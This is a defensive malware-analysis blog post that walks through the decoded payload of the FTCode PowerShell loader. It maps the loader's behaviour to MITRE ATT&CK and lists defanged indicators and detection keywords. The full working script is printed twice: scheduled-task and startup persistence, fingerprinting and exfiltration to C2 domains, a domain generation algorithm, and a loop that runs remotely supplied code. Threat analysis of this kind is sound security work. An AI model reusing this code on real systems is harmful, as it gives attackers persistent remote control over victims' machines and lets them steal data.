FTCode: PowerShell Analysis

Little disclaimer for the reader:

All materials used inside this article can and might harm your computer if executed outside a safe environement and without proper knowledge.
No responsibilities of your actions will be taken by the author of this article, meaning that whatever you do (legal or illegal), you will be hold responsible.
The goal of this article is strictly for educational purposes only.

Introduction

The PowerShell analysis will begin from where we left in the last article that you can find here.

High level overview

Let us break the command into all of its components so that we can visualize them and delve more deeply into how they work:

  • powershell: invocation of the powershell.exe executable.
  • WindowStyle Hidden: flag with parameter passed to the powershell command such that the executable is launched in hidden mode and not visible to the user on his desktop. This parameter allows the window to be hidden from the GUI, but it is possible to track the PowerShell execution by parsing active processes using the trivial Task Manager.
  • -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(...)); iex $a;: this flag goes to specify the execution of an inline PowerShell snippet directly from the terminal. As can be seen, the payload is stored in the variable $a and finally executed via Invoke-Expression $a.

Decoding methods

To reduce the size of the code to be executed, make it more arduous to directly understand the command, and to escape from static parsers (now extremely inefficient and ancient), Base64 encoding is used to decode the payload before passing it to the Invoke-Expression call.

Although there are several much more sophisticated obfuscation techniques, Base64 encoding and decoding is done only to reduce the size of the code. Most, if not all, detection systems are capable of parsing pieces of strings encoded in different ways, automatically trying to derive the original text before running static analysis and detection rules.

Interesting insights

Speaking from personal experience, I very often get to analyze malicious or dubious PowerShell files and, a very easy way to recognize something out of the ordinary and at first glance, is to look at the length of the parameters passed to the powershell.exe executable, if there are strange encodings or if there are some of the following functions called:

  • FromBase64String
  • Invoke-Expression
  • DownloadString
  • System.IO.Compression.GZipStream::Decompress

The preceding list turns out to be a very small subset of existing functions that can be used to obfuscate and make analysis of a PowerShell script extremely difficult, and, depending on the threat actor and its motivation, there are more or less complex PowerShells depending on their level of expertise.

To give some practical examples taken from real cases, these are some types of PowerShells that I have analyzed over the years so that you can understand how far you can go if you have the right knowledge in the development world:

  • Compiling executables and running them in memory directly from PowerShell, leaving no traces on the filesystem.
  • Using encoding and encryption (usually RC4 given its high speed of encryption and decryption).
  • Recursive encryption and decryption of a payload.
  • Concatenation of different encryption, encoding and compression algorithms (and consequently their decompression, decryption and decryption).
  • PowerShell scripts broken down into many small chunks. Each chunk recursively downloads the next chunk from the Internet.
  • And classic files with double extensions or using steganographic techniques.

Payload analysis

Through the use of CyberChef, the decoded payload from Base64 is as follows, adding the line number in such a way as to make the analysis smoother and easier:

$xegagthsdb = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $xegagthsdb)) { md $xegagthsdb; }
$tvxuhwzjcg = $xegagthsdb + "\WindowsIndexingService.vbs";
$yjtzjxcxw  = "1014.2";
$ivyhzux = $env:temp + "\AFX50058.tmp";
$xuwcyeet  = $xegagthsdb + "\thumbcache_64.db";
$myurlpost = $false;
$cchtyiic = "w";

function iamwork2{ sc -Path $ivyhzux -Value $(Get-Date); };
function sjbugxthh( $fxstbwjuuz ){
  if( $fxstbwjuuz -match 'OutOfMemoryException' ){
    ri -Path $ivyhzux -Force;
    get-process powershell* | stop-process;
    exit;
  };
}

function sendpost2( $fxstbwjuuz ){
  if( !$myurlpost ){ return $false; };
  $xjzhafszjh = New-Object System.Net.WebClient;
  $xjzhafszjh.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  $xjzhafszjh.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  $xjzhafszjh.Encoding = [System.Text.Encoding]::UTF8;
  try{
    $jsjvczax = $xjzhafszjh.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yjtzjxcxw&guid=$avxuyivz&" + $fxstbwjuuz ) ) ) );
    $jsjvczax = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $jsjvczax ) );
    if( !$cchtyiic ){ return $false; }
    if( $ecacfwxtf -eq $jsjvczax.Substring(0,16) ){
      return $jsjvczax.Substring(16,$jsjvczax.length-16) ;
    }else{
      $cchtyiic = $false;
      sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $jsjvczax ) ) );
    }
  }catch{
    sjbugxthh $_.Exception.Message;
    $cchtyiic = $false;
    $xjzhafszjh.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yjtzjxcxw&guid=$avxuyivz&error=sendpost2:" + $myurlpost+":"+$jsjvczax +":"+ $_.Exception.Message ) ) ) );
  };
  return $false;
};

function afgeivsy( $vuwejei ){
  $acysujjv = "http://cdn.danielrmurray.com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $acysujjv += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $acysujjv.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($vuwejei + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
    }
  };
  if( $vuwejei -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost;
  } 
};

if ( Test-Path $ivyhzux ){
  if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $ivyhzux ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
    ri -Path $ivyhzux -Force;
    try{ get-process powershell* | stop-process }catch{};
    exit;
  }else{ exit; };
};

function sfzeugjg( $zvhzcfz ){
  if( $zvhzcfz ){
    sc -Path $xuwcyeet -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16)  -join ',' ) -Force;  
    gi $xuwcyeet -Force |  %{ $_.Attributes = "Hidden" };
    try{
      $ahugvzfs = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
      if( -not ( Test-Path $ahugvzfs ) ){
        $vuibgsb = New-Object -ComObject ('WScript.Shell');
        $aefxstead = $vuibgsb.CreateShortcut( $ahugvzfs  );
        $aefxstead.TargetPath = $tvxuhwzjcg;
        $aefxstead.WorkingDirectory = $xegagthsdb;
        $aefxstead.WindowStyle = 1;
        $aefxstead.Description = 'Windows Application Service';
        $aefxstead.Save();
      }
    }catch{};
    $avxuyivz, $ecacfwxtf = (get-content $xuwcyeet).split(',');
    $ucyygxhcbv = "status=register&ssid=$ecacfwxtf&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
    if( Test-Path ( $xegagthsdb + "\thumbcache_33.db" ) ){
      ri -Path ( $xegagthsdb + "\thumbcache_33.db" ), ( $xegagthsdb + "\WindowsIndexingService.js" ) -Force;
      try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
      try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
      if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' )  ){
        ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
      }
    }
    $wuxhici = afgeivsy $ucyygxhcbv;
    if( $wuxhici -ne "ok"){
      ri -Path $xuwcyeet -Force;
      exit;
    }
  }
  return (get-content $xuwcyeet).split(',');
}
$hchayvewvb = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR $tvxuhwzjcg); 
if ( Test-Path $xuwcyeet ){
  $avxuyivz, $ecacfwxtf =  sfzeugjg $false;
  if( $ecacfwxtf.length -ne 16  ){ $avxuyivz, $ecacfwxtf =  sfzeugjg $true; }
}else{
  $avxuyivz, $ecacfwxtf =  sfzeugjg $true;
}
$myurlpost = afgeivsy;
while( $cchtyiic ){
  iamwork2;
  try{
    if( $cchtyiic -and ($cchtyiic.length -gt 30)  ){
      iex $cchtyiic;
    };
  }catch{ sjbugxthh $_.Exception.Message; };
  Start-Sleep -s 280;
  $cchtyiic = sendpost2;
};
ri -Path $ivyhzux -Force;

Main takeaways

Before we begin the real line-by-line analysis, let's take a look at what the code looks like, whether there are any plaintext strings, whether there are any particularly interesting commands or network calls to external domains or services:

Without even looking at the entire code, we can already identify and extract some indices of compromise and attack:

  • The script starts by declaring some variables for configuration purposes, such as folder and file names.
  • Creating a service
  • A function named sendpost2.
  • Configuring the service to schedule it every day at midnight
  • Removing a path/folder/file in a forced manner.

In summary, from our analysis we expect that once the payload is executed, a scheduled service is created that starts every day at midnight. It is most likely that the file executed by the service will be downloaded from an external C2 and hidden presumably in %PUBLIC%\Libraries. Finally, the script deletes the traces left behind.

Code review

Before analyzing the contents of each function, we isolate and partition the code into iterative functions and executions.

In this specific case, there are interesting calls or particular executions in between functions that could be missed if you are careless.
This technique is commonly used by malware authors to hide or to make the analysis of a code more complex, as it is difficult to unearth these small portions of code if the file is large in size.

Initial configuration and variable assignment

$env_public_libraries_path = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $env_public_libraries_path)) { md $env_public_libraries_path; }
$vbs_path = $env_public_libraries_path + "\WindowsIndexingService.vbs";
$strange_version  = "1014.2";
$tmp_file = $env:temp + "\AFX50058.tmp";
$db_file  = $env_public_libraries_path + "\thumbcache_64.db";
$myurlpost_bool = $false;
$str_w = "w";

Simply, you go and define some basic configurations such as the folder in which to possibly drop new files. The name of the variables have been changed so that analysis and readability are smoother.

Removal of artifacts or processes in running state

if ( Test-Path $tmp_file ){
  # After 15 minutes of creating the temporary file, I delete it
  if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $tmp_file ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
    ri -Path $tmp_file -Force;
    try{ get-process powershell* | stop-process }catch{};
    exit;
  }else{ exit; };
};

If the %TEMP%\AFX50058.tmp file exists, I delete it every 15 minutes since its creation. I still do not fully understand the attacker's utility and goal other than wanting to remove its traces from the system once the contents of the file are used.

After the temporary file is removed, I terminate any active PowerShell execution.

Creating a scheduled service

$hchayvewvb = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR $vbs_path);

The attacker creates a scheduled task named WindowsApplicationService that runs every day from the time 00:00 to 23:59. The task executes the file located at the %PUBLIC%\Libraries\WindowsIndexingService.vbs path every 19 minutes.

Connectivity check

if ( Test-Path $db_file ){
  $guid, $ssid =  startup_persistency $false;
  if( $ssid.length -ne 16  ){ $guid, $ssid =  startup_persistency $true; }
}else{
  $guid, $ssid =  startup_persistency $true;
}
$myurlpost_bool = check_networking_availability;

The situation starts to get much more complicated in this small snippet, as will be seen later when analyzing the startup_persistency and check_networking_availability functions.

From what little we have been able to figure out, that portion of code is concerned with establishing a two-way connection with the attacker's C2 and initiating the process of fingerprinting and exfiltrating generic data from the machine.

Constant execution of PowerShell code

# Main cycle executing something every 280 seconds
while( $str_w ){
  set_content_tmp_date;
  try{
    if( $str_w -and ($str_w.length -gt 30)  ){
      iex $str_w;
    };
  }catch{ kill_powershell_if_out_of_memory $_.Exception.Message; };
  Start-Sleep -s 280;
  $str_w = sendpost2;
};

# I remove the temporary file
ri -Path $tmp_file -Force;

As long as the $str_w variable is not empty and exceeds 30 bytes, the attacker executes via Invoke-Expression some PowerShell code. During analysis, it proved impossible to determine the contents of the variable since it is no longer possible to connect to the attacker's C2 and analyze the network traffic.

Every 280 seconds, the variable is replaced with a new value after calling the sendpost2 function, which will most likely look for an available C2 from which to receive commands to execute.

Such a function can also be seen as a kind of reverse shell in PowerShell where, every 280 seconds, the C2 sends commands to be executed automatically on the infected machine.

Although this hypothesis might turn out to be correct, there is not enough data to attest to its veracity.

In case the execution of the Invoke-Expression gives OutOfMemoryException type exceptions, all PowerShell processes are terminated and the temporary file deleted.

Function: set_content_tmp_date

function set_content_tmp_date {
  # Override of $tmp_file with the current date
  sc -Path $tmp_file -Value $(Get-Date); 
};

The PowerShell Set-Content function is invoked which will replace (or overwrite) the AFX50058.tmp file with the current date.

Function: kill_powershell_if_out_of_memory

function kill_powershell_if_out_of_memory( $exception_message ){
  # exception_message is the exception generated by PowerShell
  if( $exception_message -match 'OutOfMemoryException' ){
    # I remove the temporary file AFX50058.tmp if the string contains OutOfMemoryException
    ri -Path $tmp_file -Force;
    get-process powershell* | stop-process;
    # Terminate the script
    exit;
  };
}

This function receives as an argument a string containing an error message generated by PowerShell. Should the string contain the word OutOfMemoryException, all active PowerShell processes would be terminated.

Function: sendpost2

function sendpost2( $str_input ){
  if( !$myurlpost_bool ){ return $false; };
  # I create WebClient object so that it can make HTTP calls
  $web_client_handler = New-Object System.Net.WebClient;
  $web_client_handler.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  $web_client_handler.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  $web_client_handler.Encoding = [System.Text.Encoding]::UTF8;
  try{
    # public string UploadString (string address, string data);
    # I create my POST request by formatting the data to be sent.
    # The data in the POST is encoded in Base64.
    # I will then send the following information:
    # - v = "1014.2" ## Maybe it's the malware version or an identifier.
    # - guid = "69640409-da09-4b51-9552-6913a31af6d4" an example of Machine GUID, unique machine identifier
    # - ?? = value of $str_input could represent the data that is about to be exfiltrated
    $request = $web_client_handler.UploadString( $myurlpost_bool, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$strange_version&guid=$guid&" + $str_input ) ) ) );
    $request = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $request ) );
    if( !$str_w ){ return $false; }
    # Check if $ssid represents the first 16 characters of the request. It doesn't make sense for now.
    if( $ssid -eq $request.Substring(0,16) ){
      return $request.Substring(16,$request.length-16) ;
    }else{
      $str_w = $false;
      # Do I add the 'error' key with the error to the POST parameter?
      sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $request ) ) );
    }
  }catch{
    # Call kill_powershell_if_out_of_memory(Exception.Message)
    kill_powershell_if_out_of_memory $_.Exception.Message;
    $str_w = $false;
    $web_client_handler.UploadString( $myurlpost_bool, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$strange_version&guid=$guid&error=sendpost2:" + $myurlpost_bool+":"+$request +":"+ $_.Exception.Message ) ) ) );
  };
  return $false;
};

Without going into great detail, the sendpost2 function takes care of sending POST requests by passing the value of $str_input as an argument in the request body. In case of errors and exceptions, it terminates the execution of all PowerShell processes and responds to C2 with the corresponding error message.

The data that the attacker is trying to exfiltrate is encoded in Base64

Function: check_networking_availability

function check_networking_availability( $str_status ){
  # Function that probably tests whether the script can reach the outside
  $possibile_c2 = "http://cdn.danielrmurray.com/";
  # Creazione di domini potenzialmente fake per verificare il messaggio di risposta
  "hee","xu1","hs0","jd5","mqf" | %{ $possibile_c2 += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
    # The URLs contacted are as follows (pre split).
    # See the table below
    
  $possibile_c2.split(",") | %{
    if( !$myurlpost_bool ){
      # I make a POST call to one of those URLs every 5 seconds
      $myurlpost_bool = $_;
      # If I get no response, I set the flag to False.
      if( !(sendpost2 ($str_status + "&domen=$myurlpost_bool" )) ){ $myurlpost_bool = $false; };
      Start-Sleep -s 5;
    }
  };
  # If I got a response equal to 'status=register', potentially the machine has communicated with C2 and is waiting to download more data?
  if( $str_status -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost_bool;
  } 
};

The generation of domains is done by concatenating several prefixes with the date in this particular format %y%m%V, converted to lower case and added the suffix .top/ to the previously generated string after converting it to Base64, resulting in the following:

URLs
hxxp[://]cdn[.]danielrmurray[.]com/ hxxp[://]agvlmjmwnjiz[.]top/
hxxp[://]ahmwmjmwnjiz[.]top/ hxxp[://]amq1mjmwnjiz[.]top/
hxxp[://]ehuxmjmwnjiz[.]top/ hxxp[://]bxfmmjmwnjiz[.]top/

Every 5 seconds and for each URL generated (and subsequently extracted from the concatenation using the split(',') function), I execute an HTTP call of type POST until I get the response status=register .

Several URLs are used as C2s for redundancy. If ever one of the C2s should be taken offline, there are potentially the other C2s listening.

In this specific case, the generated URLs (except the first one) do not exist, and theoretically the attacker's goal is to figure out whether the infected machine is in an analysis environment. This check can be done by requesting nonexistent services and verifying the response obtained, and if the malware were to receive a response from a website that does not exist, it could abort its execution and eliminate any trace left on the system.

Function: startup_persistency

function startup_persistency( $zvhzcfz ){
  if( $zvhzcfz ){
    # Add to the DB file a unique code generated at the time
    sc -Path $db_file -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16)  -join ',' ) -Force;
    # Using Get-Item -Force Hidden to open a hidden file
    gi $db_file -Force |  %{ $_.Attributes = "Hidden" };
    try{
      $startup_path = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
      if( -not ( Test-Path $startup_path ) ){
        # Creo l'oggetto WScript.Shell
        $vuibgsb = New-Object -ComObject ('WScript.Shell');
        $aefxstead = $vuibgsb.CreateShortcut( $startup_path  );
        $aefxstead.TargetPath = $vbs_path;
        $aefxstead.WorkingDirectory = $env_public_libraries_path;
        $aefxstead.WindowStyle = 1;
        $aefxstead.Description = 'Windows Application Service';
        $aefxstead.Save();
        # create .lnk files in the Windows StartupFolder so that on every reboot, it runs the malicious VBS
      }
    }catch{};
    # extract the information from the DB file
    $guid, $ssid = (get-content $db_file).split(',');
    # prepare the GET request to make the OS fingerprint by exfiltrating:
    # - Network SSID
    # - Operating system
    # - PowerShell version
    # - Computer name
    $data_request = "status=register&ssid=$ssid&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
    if( Test-Path ( $env_public_libraries_path + "\thumbcache_33.db" ) ){
      # If the DB file exists, I delete it along with a file with a JS extension
      ri -Path ( $env_public_libraries_path + "\thumbcache_33.db" ), ( $env_public_libraries_path + "\WindowsIndexingService.js" ) -Force;
      # I remove the persistence. Probably in case I have nothing left to exfiltrate.
      try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
      try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
      if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' )  ){
        ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
      }
    }
    $net_availability_response = check_networking_availability $data_request;
    if( $net_availability_response -ne "ok"){
      ri -Path $db_file -Force;
      exit;
    }
  }
  return (get-content $db_file).split(',');
}

This function only takes care of creating a persistence of the malware on the infected filesystem by adding a new entry within the Windows Startup folder, so that on each reboot it can be executed.

Unique identifiers are generated and, along with other system data collected via the Get-WmiObject widget, are passed to the function responsible for making POST calls to the attacker's C2.

If the response from any C2 is equal to status=register, the check_network_availability function will return the string ok, instructing the script to remove the db file and terminating program execution.

MITRE ATT&CK Mapping

T1059.001: PowerShell T1564.001: Hidden Files and Directories T1497.003: Time Based Evasion T1102.002: Bidirectional Communication
T1053.005: Scheduled Task T1564.003: Hidden Window T1082: System Information Discovery T1041: Exfiltration Over C2 Channel
T1047: Windows Management Instrumentation T1070.004: File Deletion T1071.001: Web Protocols
T1547.001: Registry Run Keys / Startup Folder T1070.009: Clear Persistence T1132.001: Standard Encoding
T1140: Deobfuscate/Decode Files or Information T1036.004: Masquerade Task or Service T1568.002: Domain Generation Algorithms
T1480: Execution Guardrails T1027.010: Command Obfuscation T1029: Scheduled Transfer

Subscribe to FortiFox

Don’t miss out on the latest posts. Sign up to stay updated on new releases!
[email protected]
Subscribe